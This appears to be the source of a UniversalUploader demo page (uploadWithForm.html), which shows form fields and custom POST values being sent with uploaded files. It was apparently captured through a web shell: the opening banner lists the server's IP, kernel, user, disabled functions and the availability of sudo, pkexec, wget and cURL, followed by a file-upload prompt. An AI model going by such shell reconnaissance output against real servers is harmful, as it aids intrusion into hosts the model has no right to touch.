| Server IP : 104.21.21.239 / Your IP : 216.73.216.25 Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5 System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64 User : ec2-user ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/home2/cgny/nympadmin/universaluploader2/ |
Upload File : |
<!-- saved from url=(0014)about:internet -->
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Upload with form example</title>
<!-- UniversalUploader css style file -->
<link rel="stylesheet" href="universal/style.css">
<!-- Examples css file -->
<link href="styles.css" type="text/css" rel="stylesheet" />
<!-- UniversalUploader JavaScript code file -->
<script type="text/javascript" src="universal/universalUploader.js"></script>
</head>
<body>
<p>Sample: <b>uploadWithForm.html</b> <a href="javascript:location.reload(true);"><img border="0" src="images/refresh.png" width="16" height="16"> Refresh frame</a> <a target="_parent" href="index.html"><img border="0" src="images/home.png" width="16" height="16"> Examples home</a><br/>
<br/>
The example shows the <strong>transferring form values</strong> (<Form... <input..) and custom data together with uploaded files. The values transferred by POST method. <br />
Use Request.Form[fieldname] (for ASP) or $_POST[fieldname] (for PHP) collections to read Form fields values on server. <br />
<br />
<!-- PlaceHolder for UniversalUploader User Interface. Existing content will not be removed.
UniversalUpload will append own content to the end of this div-->
<div id="universalUploader_holder" style="width : 500px">
</div>
<!-- Initialization of UniversalUploader object -->
<script type="text/javascript">
universalUploader.init({
//Your serialNumber
serialNumber: "put your license key here",
//List of uploaders to render
uploaders: "drag-and-drop, flash, silverlight, java, classic",
//Fir of correctly initialized uploader will be rendered
singleUploader : true,
//Id of html element where universalUploader should be rendered
//If not set, document body used
holder: "universalUploader_holder",
//Url to the swf file
flash_swfUrl : "universal/uploaders/ElementITMultiPowUpload.swf",
//Url to the xap file
silverlight_xapUrl : "universal/uploaders/UltimateUploader.xap",
//url to folder with jar files
java_libPath : "universal/uploaders/java/",
//Path to the folder with images (status icons, remove icon) By default images subfolder is used (relative to the html page base path)
//In these examples we place icons inside universal/images subfolder.
imagesPath : "universal/images/",
//Url to the file processing script
url: "FileProcessingScripts/PHP/uploadfiles.php",
//Set id of html for element to pass it's values to the server script along with files
formName: "myform",
//Custom post fields can be configured manually
postFields :{
userName : "Jhon",
albumID : "2398296839275"
}
});
var uploadComplete = false;
//File upload complete
universalUploader.bindEventListener("FileUploadComplete", function (uploaderId, file){
var responselable = document.getElementById("serverresponse");
if(file.serverResponse) responselable.innerHTML += "<strong>" + file.serverResponse + "</strong>";
});
//File upload error handler
universalUploader.bindEventListener("FileUploadError", function (uploaderId, file, status, msg){
var responselable = document.getElementById("serverresponse");
responselable.innerHTML += "File Upload error "+file.name+" status "+status+" message "+msg;
});
universalUploader.bindEventListener("Init", function (inited){
if(!inited)
alert("UniversalUploader failed to init!");
});
</script>
<form method="post" id="myform" name="myform" action="" >
Form fields:<br>
<select name="menu">
<option value="1">some menu item 1</option>
<option value="2">some menu item 2</option>
</select>
<input name="text" type="text" value="some text">
</form>
<br/>
You should see server response below when upload complete:<br/>
<div id="serverresponse"></div><br />
<hr />
We simply set the value of the <strong>formName</strong> parameter to the 'myform' - id of <form> element on this page. <br />
Additionaly we pass several custom variable to server side script by setting the <strong>postFields</strong> parameter:<br />
<code>
<pre>
universalUploader.init({
//Your serialNumber
serialNumber: "put your license key here",
//List of uploaders to render
uploaders: "drag-and-drop, flash, silverlight, java, classic",
//Fir of correctly initialized uploader will be rendered
singleUploader : true,
//Id of html element where universalUploader should be rendered
//If not set, document body used
holder: "universalUploader_holder",
//Url to the swf file
flash_swfUrl : "universal/uploaders/ElementITMultiPowUpload.swf",
//Url to the xap file
silverlight_xapUrl : "universal/uploaders/UltimateUploader.xap",
//url to folder with jar files
java_libPath : "universal/uploaders/java/",
//Path to the folder with images (status icons, remove icon) By default images subfolder is used (relative to the html page base path)
//In these examples we place icons inside universal/images subfolder.
imagesPath : "universal/images/",
//Url to the file processing script
url: "FileProcessingScripts/PHP/uploadfiles.php",
//Set id of html for element to pass it's values to the server script along with files
formName: "myform",
//Custom post fields can be configured manually
postFields :{
userName : "Jhon",
albumID : "2398296839275"
}
});</pre>
</code></p>
<p>For the example you need to specify script URL that accept the files. Open the example in a text editor and specify the property value "url" of UniversalUploader object. The value can be:</p>
<ul>
<li>For PHP : <code>FileProcessingScripts/PHP/uploadfiles.php</code> <strong>(Default value)</strong></li>
<li>For ASP.NET (C Sharp): <code>FileProcessingScripts/ASP.NET/CSharp/uploadfiles.aspx</code></li>
<li>For ASP.NET (VB.NET): <code>FileProcessingScripts/ASP.NET/VBNET/uploadfiles.aspx</code></li>
<li>For JSP : <code>FileProcessingScripts/JSP/uploadfiles.jsp</code></li>
<li>For ASP : <code>FileProcessingScripts/ASP/uploadfiles.asp</code></li>
</ul>
<br/>The file uploader doesn’t work? See <a target="_blank" href="http://www.element-it.com/OnlineHelpUniversal/UniversalUploader_Manual_HTML/Troubleshooting.html">here</a> what you need for its proper work.
</body>
</html>